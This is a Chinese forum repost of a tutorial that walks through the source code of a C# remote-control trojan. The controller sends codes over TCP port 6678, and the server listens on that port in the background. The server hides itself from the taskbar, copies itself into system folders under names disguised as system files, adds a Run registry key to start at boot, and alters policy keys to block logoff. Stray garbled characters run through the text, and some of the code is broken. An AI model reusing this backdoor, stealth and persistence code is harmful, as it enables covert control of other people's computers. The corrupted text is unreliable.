找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 965|回复: 0

[转]用C#实现木马程序(分析)

[复制链接]
发表于 2004-12-24 14:19:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
  前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 ) Q" F" e% ?. I) y/ Y/ M! B3 q: x: D前言: 2 n# O i' `5 w; T2 B 我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 0 _; e- l$ u( T; g' ?5 I% w4 h$ H 木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) " n+ ^, K- i' A9 T( z; a因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 4 V; h( L4 V3 Z8 q: O% @* k( u使用的技术: ( ?. K+ R, i C9 E+ a# o9 U2 J$ O控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 7 R6 v0 X- Y5 q. J4 v控制端开发: ) V/ U9 s% e% _$ D- w: ~, Q' I 控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 ' ?( R) Y9 B- c% d, B控制端的开发: ' j& w D/ _ t: G2 D$ y7 l控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 8 Q$ h7 _4 D: [1 n 1 连接请求 ( a+ ~+ i6 G; Q5 F使用了.NET类中的 System.Net.Sockets.TcpClient类, ) K5 W& l9 F5 r& S, p$ \ TcpClient(string hostname,int port) 3 a1 `% C8 J/ t: v8 \Hostname 是要控制的主机名称,当然你也可以用IP地址。 # ?* p2 A* Q7 H4 c! jPort是端口。 : O) p4 v& D/ z5 {* s! Y% l// System.EventArgs包含事件数据类的基类 9 L6 ]$ ~' ?9 l# u- P private void button7_Click(object sender, System.EventArgs e) 0 b; j! a0 L7 x1 y { . e0 i$ C8 Z, Y6 y! m; N//记录操作,在richTextBox控件中增加操作信息 0 i* j' \5 d) i/ M ~ richTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); $ L/ A' B! }# e, k* H% Tint port =6678; : ^) y A( z- a try " G1 [# ~* r( E% n! F9 P{ ! ^3 C$ d3 U" H p3 b4 s//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 / Y! |; c6 G; E: y x' A client = new TcpClient(textBox1.Text,port); / t; k) E% _( [0 { } 1 K# c% w: z" [6 N* ] H4 v catch ; t+ {- d8 V8 |{ / d) b2 }; f$ N( F" M) n MessageBox.Show("服务器不在线!确定是否输入主机名称."); ) |1 X0 ]4 m8 _# irichTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); * S$ b5 {3 D) Y H} 3 N5 a8 b* E4 N0 i2 n- _6 E- J }//private void buttion 8 O/ ^, Q3 ?6 ?! Z# ] 2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 : G8 U5 j: s% i |* {9 @//提供网络访问的数据流 $ r% F" T. _$ r! Z7 P) K# q- i. Y //private NetworkStream stream; 2 f; `+ | [. w! _9 ^# [: }& M代码如下: : H h6 k" G1 v7 ~- v Z) Xprivate void button8_Click(object sender, System.EventArgs e) % V# E8 h7 O$ a# W* V{ ! O6 m( t* J H' s1 V7 M //纪录操作 ) p2 P9 y( ?' M' b* x) M. hrichTextBox1.AppendText("测试连接" +"\r"); A5 R% X; }8 j8 q! I( F3 ctry + v/ t) b3 [. B* l+ V1 @4 ^& X8 z{ / q. ~6 }: P, p3 z, @/ ` 2 q, u* n$ X* b2 |1 ~stream = client.GetStream(); 1 n4 X2 ]- c" |' r if(stream.CanWrite) & C/ o$ g. m9 ^1 j { 7 P3 Z3 I6 W( D: u //发送控制码 3 v; e# G& \' h8 z string control = "jiance"; 2 Q# z$ x# W$ n/ g- O byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); - k8 a4 [9 r# X- d stream.Write(by,0,by.Length); ; \9 K. }, [# D7 M6 e$ _//下次使用 4 F/ C- m. A. tstream.Flush(); % N# h1 v' K9 r, _9 o //启动接收反回数据的线程 % F8 r+ \0 |* @//receive是线程执行的函数,见后面的分析 4 s( X0 u3 j2 {: v* ^threadReceive = new Thread(new ThreadStart(receive)); ( C# u; h% h+ |" \& K% ?/ [& g6 D: e; cthreadReceive.Start(); : V. F7 T% \) h+ V9 M! {- y; c7 d} 5 Q1 v& ^, M. H+ I } , P' R7 W5 ^! K, r& jcatch(Exception ee) 4 p6 r2 s8 h- Q$ o' ~3 } { 5 i6 K! X% B# W" {5 k0 b! q richTextBox1.AppendText (ee.Message+"\r"); / j& Y% F% N2 V, dMessageBox.Show(ee.Message); 5 f' |2 I$ o, B5 I } 5 Y; W, h+ x8 Q5 S* m5 U } - p" {1 i: Y2 x8 \+ U7 t+ c5 u# d3控制生效的代码 5 x c- D9 a8 s8 V/ X+ a0 B) F. mprivate void button9_Click(object sender, System.EventArgs e) 9 g; a( D! D$ @0 Q{ 3 p1 b8 t6 i; q//这里是确定要发送的控制码,RadioButton是窗体控件 0 w( U* w" B8 fif(radioButton1.Checked){ control = form2.zhucex;} 2 @$ m- z. S/ t else if(radioButton2.Checked){ control =form3.zhuces;} * f$ e3 Y% d' g5 L9 _% e else if(radioButton3.Checked){ control = warring;} 5 H* a, c D9 h* |( ?else if(radioButton4.Checked){ control =suggest;} 4 j) ^0 y2 r5 k$ Z; oelse if(radioButton5.Checked){ control =form4.mumawe;} 0 z8 [; f( }& d( V; H else if(radioButton6.Checked){ control =drop;} 9 y' A* q- S0 Y! P8 P$ V) c2 Dif (control =="000000") " l; Z7 C+ r5 y( c{ ! g+ b4 [2 A$ ^9 R: vMessageBox.Show("你没有输入任何控制目标!不发控制信号"); , ^. d1 r% y( M. ~richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); - u' I- U8 {! d} 9 M1 E( ]) B8 f4 T: U3 w$ X else if(control != "000000") $ F; V; [/ K) {, }) K$ ?9 Q) T; W% G: s { $ J0 [" f1 f/ T$ s0 J* xtry 9 P! [! r0 \. v, [8 K { & l5 } f) u9 [) G$ z: { //记录操作 $ v5 Y) m0 h) ]9 DrichTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); 4 p, X4 N; Y& j. {) B7 k5 K( | stream = client.GetStream(); # c) b) i! v( ]- N. J$ X if(stream.CanWrite ) 6 ~7 r6 [& N, f7 p& [% n{ ' i/ c( U" }. J, N" u9 P2 c5 ~8 Pbyte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); v) F" s# u6 b stream.Write(by,0,by.Length); & X/ J3 F5 I: w# p0 _4 Ystream.Flush(); ) n) D5 p8 a' c. p3 PthreadReceive =new Thread(new ThreadStart(receive)); 4 _/ I& C( M/ J" o! @* othreadReceive.Start(); % L/ j) g8 r8 m }//endif 2 G# ~; g0 L3 d2 n* s2 F}//try / L: i" G z+ M8 j/ a/ w8 k) i catch 4 z9 x" E0 P' V2 d) a { : m& @; p" A: q- A8 j. X richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); # E/ e3 _' y" J4 g3 LMessageBox.Show("服务器未连接1控制无效!" +"\r"); $ ]- }/ I2 f4 q# J0 ~6 Q# C } ( |5 ~: y3 D' a/ P& Q _2 ~" E. i}//else if $ W- Q0 z4 h* K* Y) J} ' l' G* C6 W4 F- b0 \9 W/ R ' v% h y7 W$ Y/ Z0 P 4线程执行的函数 0 D5 ~0 ?$ U9 w2 o private void receive() 1 R: g" ?8 s$ [& I8 w% C$ _{ ! }! S. P' b3 g( j0 [" k //设置读取数据的空间 , C" S' u- i9 x0 |# D# [ byte[] bb = new byte[3]; : z2 P1 y: t. D+ U //读取3个字节,i为实际读取的字节数 5 m' H3 l7 B. e& q7 Pint i = stream.Read(bb,0,3); - K- i: @0 m9 W& i//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); $ C( b6 o* W: N7 ] string ss = System.Text.Encoding.ASCII.GetString(bb); * n. N9 O/ c6 W//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 6 g: z" I. ?5 h7 W* c; |4 _ if(ss=="hjc") # D0 J& t/ d# r+ K: ?5 Y4 h{ - i% a. d7 Y7 K( P" B( ~ E7 \MessageBox.Show("连接成功"); ' I2 d3 Q1 B) F0 M2 {3 Z richTextBox1.AppendText("连接成功"); ( Z: j4 [- c! h3 l3 o} * Z* t, ~$ Q% xif(ss== "hkz") 7 ], y! c) R0 n6 c& M { ' i' n6 e' P+ \richTextBox1.AppendText(control +"控制成功"+"\r"); / N! w o3 z" n" t% g MessageBox.Show(control +"控制成功"+"\r"); , n& i. M) Y4 g3 T( s* R} " z% S: e# z0 ~+ y+ z# ?5 @ } & u9 }# M- X/ z9 P' u# y服务端的开发: * q2 I9 J! m4 p! c P# _) r. D) X要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1 n" c0 S% \& [: h8 N6 m! ~1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: 0 \3 ]3 l: a( _- R- V private void InitializeComponent() ; L2 p+ T( Z: w' \3 h& [* s4 m$ U0 Z# ]5 P { " ~6 N2 z; }) [8 v5 K* z. x// * ?* X' X; u+ ^ Y // Form1 ; o7 P# M; s6 }( B l) W2 a// 6 Z7 p- f; [: y8 r0 X4 {: I//窗体显示的起点和大小 $ H5 e0 ^0 N. `# x% B4 e this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); % P8 H2 P+ s! G; F this.ClientSize = new System.Drawing.Size(368, 357); ! P" @" m% t& Y" F G/ u //窗体名称 ) R9 i5 {( \: C' `* `5 ? ` this.Name = "Form1"; & ? D5 T. a+ H) `/ `3 n8 ]//设置属性让它后台运行 + O% e- d8 {& B/ K. ~- w this.ShowInTaskbar = false; ( R0 b0 {8 h" l4 S F0 b this.Text = "Form1"; 3 I3 M. Q1 j$ j$ R3 |this.WindowState = System.Windows.Forms.FormWindowState.Minimized; , ^% r4 D% p% J } ! _7 m* m, k1 O 2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: $ F5 _# }0 y6 {7 v% a b public Form1() //窗体的构造函数 , A$ a, k- U- N{ " u( \: L- T7 R* p9 u // ; C1 S' z) B2 O4 q1 Y // Windows 窗体设计器支持所必需的 ! Q! u" P4 Z, @// " A u0 }# j0 y' V8 l9 Y w" _InitializeComponent(); / g# t0 s8 m* R5 [9 E6 w ; H1 C2 Y$ C! }4 X // ! B- R: h( r6 D* r5 R// TOD 在 InitializeComponent 调用后添加任何构造函数代码 % q# w8 R/ b- ?* a+ E, ]2 G //加入你的侦听代码 + G, N6 i( R* W! n% r! j, `: L6 ` //端口你可以自已设定,我使用了固定的端口 $ k% W2 n; K5 t e int port =6678; 9 o* ~7 S+ `6 P4 N: v//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 - A% |9 q& }- f# i- p( _ listener = new TcpListener(port); - a. w9 g* E) E* h( o. T //启动侦听 & u9 J ^ S# G" U8 c listener.Start(); . D+ \/ M# I. S' r4 P$ [ //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() : `" M0 X: O) W! j% k' m//reControlCode 是线程启动执行的函数,此函数根据接收的控制 / _: D( T, ]* n" H//控制码选取合适的注册表修改函数 - A% a/ P* }+ F& d$ q Thread thread = new Thread(new ThreadStart(reControlCode)); z; e' E2 W5 i thread.Start(); - ~1 {" E1 k7 V3 D! j( f } t$ e9 V3 j) @ l2 ^ reControlCode函数如下,完整代码见程序 3 B/ l) }7 C- q4 Fprivate void reControlCode() ' s1 b7 p4 e/ y9 ^, K- X$ o { 9 M$ u7 F, t7 e& x' ~//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 + o8 R* C* t2 u% h( m socket = listener.AcceptSocket(); ^5 i$ ]7 i7 T //如果连接成功执行 6 u' B/ N3 g9 ~2 X while (socket.Connected) & c- ~- i- i8 I/ ~ { ( H; E# e$ D" F //接收控制码 # P( l) `3 s, t: z4 Q/ Y byte [] by =new byte[6]; $ i) X. U: ]& \ A0 J6 bint i = socket.Receive(by,by.Length ,0); , v: R# F; m+ [ r4 m% P1 P string ss = System.Text.Encoding.ASCII.GetString(by); / H/ u7 f8 H! a9 n* d //根据控制码执行不同的功能 4 E9 w% j- V' {! ~/ y ) p2 X% ]" F. P//修改注册表加入编码 ' Q5 u4 p) X/ P" C% f/ O switch (ss) 2 j3 f" }$ w) Y6 {8 R{ ) J; r h7 l8 u( I& G- {case "jiance"://测试连接,返回测试信息 1 B; {& E9 ~$ _/ \ string str ="hjc"; / `0 g* r( f! P2 A, ~# c, p. Obyte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); 2 u0 l: X6 Y. qsocket.Send(bytee,0,bytee.Length,0); $ b/ N- x) P3 n2 G8 j/ i break; a& l! }% I: E; Y" Q+ E8 ccase "zx1000": 3 q p" P5 F' |9 c/ e" m //修改注册表函数,自已定义,见下面分析 9 u* F, C( T1 V9 h6 s UnLogOff(); 1 M- h4 E8 a; p; D' S; X8 p //返回控制消息 ) v; i u/ Z, B& ` retMessage(); 6 V& Q' M; P! K. R( e1 gbreak; 7 N) [9 z8 y* R( h' g2 h. \8 Z 8 `3 ~% |9 x C- c# e' \6 s% Xcase "zx0100": & g) W# T9 i1 y' u//修改注册表函数 7 n/ G9 e8 Y" c+ O0 `0 w UnClose(); " ]0 y Y! ~: k1 h0 E//返回控制消息 + a; x, O2 O B/ _- _1 T retMessage(); + _# N" @5 _7 y5 f% O$ {5 zbreak; : b1 }) E2 o& [ //重复的case功能与前面一样,略掉 1 X2 w& |+ T( s, x9 g3 `4 idefault: + t/ q* A% z* l5 U( L6 mbreak; * u1 [9 ]: t% ^ X- Z}//case 2 S9 C. v5 i# ~) N# i}//while 5 B! @/ C6 K7 y" }} //private void reControlCode 9 E7 A# N$ d" E; R1 {3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer 4 `( Z3 A' _" V% J3 K) {1 `* ^ 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: , U' z5 |- h2 N3 c( |private void UnLogOff() - L; [+ d u) E& j* `{ + z) ]' T9 ^: ?$ y: t$ S //得到主机的注册表的顶级节点 8 c- d( ?; ]4 K! x( Y Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 1 {* _4 D% W6 W( D//设置一个注册表子键的变量 0 ?6 X f5 w$ nRegistryKey key1; 4 q' ^; Z0 i5 N; w) k try " T* ?" B) J3 `" @$ f& o% J{ L" U" q: e* L- }//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 . B7 o& N( J! J6 j9 |! L //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 / X$ t p. x: t" N/ o# X$ o- a key1 = 1 ^3 f3 O3 N1 i5 L rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); ; p9 G" }- H E3 s' z# n//设置子键的键名,和值 ! I C' }6 ~- }% T( Jkey1.SetValue ("NoLogOff",1); 2 G0 _- ~) W* T( l//关闭打开的子键 7 [) a" X. D) N3 o key1.Close(); & L' d0 z9 w p4 s8 |//警告字符串设定 - B3 }2 _8 {' X# w3 M( p# ` mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 9 p- z" q& S% Q$ ^% `} 2 Q+ P1 j% h8 m: I9 T catch{} # H: ~3 A7 J4 L+ W" i, ^+ b7 ^& i: O //如果不存在自已建立 , m; _0 g$ ?( n Dif(key1 ==null) 6 s* A3 H3 g% |{ 0 m- ]' A% I2 k2 [1 f try " H( T) @; O# V { 4 ^. o' n0 ?8 x2 j( [ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 , E2 K9 O9 z8 j6 m RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); " A% c" P* s$ W, i8 D: \) K$ f key2.SetValue("NoLogOff",1); ) i% H/ i/ H) j' l* J$ D8 l key2.Close(); ' z+ e' R& I gmystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; . m' g1 M0 W4 M Q* z8 b/ E% g8 c } 2 l# p z* W) t/ I$ acatch{} 3 P, O- |7 W" M+ K7 b } + J$ f! u: X/ F' O } ' u: N* F1 r% F) m/ O8 y4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 6 m6 u* L2 D$ A# m: S: H private void moveCC1() ' U9 p) U% E0 V" Z/ W! f/ H2 l( u { - C' `, m8 g" q: B6 Ltry 4 k- E3 I& F& D3 E% O { 4 G+ z' Q$ z9 w* r7 S7 J//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 - v, v" [/ Y3 P2 `4 l+ p* E //sourceFileName为要移动的文件名,destFileName为文件的新路径 * I8 w' M0 U8 x7 m; O File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); * C; F8 N# f& F: z+ S1 a$ |7 l: U } , k) D/ K+ d4 ^( g$ i8 Q$ l# rcatch {} ; `+ Y* H# H; v2 O //将新移的木马程序设为自启动.分析和前面一样 9 d9 `2 l2 V6 A4 a8 e; V' z" \try / d/ P0 h3 }8 |' r! s{ 5 E; T2 I" M$ o- k, [7 O3 bkey1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); ) z* E$ M F( g, E+ _* v M key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); ^3 p% g: ^; M5 v- X key1.Close(); % ]0 x7 |3 n6 ~$ [+ _& r} " ]5 } \& A* l0 N; {# {catch{} " w' ^/ I! `1 Z, Q! k! eif(key1 ==null) 4 D* u# T8 V1 c { + R. q/ D' S: M% U$ _try ! O% d4 J4 v, T { . h$ y7 y# s. X4 n1 h RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 4 }6 N& e7 ]8 ?key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); , u* d) e2 O' c& W; w5 _9 ~& P* n& ` key1.Close(); ' e4 E" z1 U" l0 [ f# z+ r } ) N( B h% w I, h5 Y1 Bcatch{} 1 X) u& g+ `# y$ [ } 7 e# L* {( w. a( ^# g8 Z } //moveCC1()
遨海湾-心灵的港湾 www.aosea.com
您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

QQ|手机版|小黑屋|遨海湾超级社区

GMT+8, 2024-11-22 07:54

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表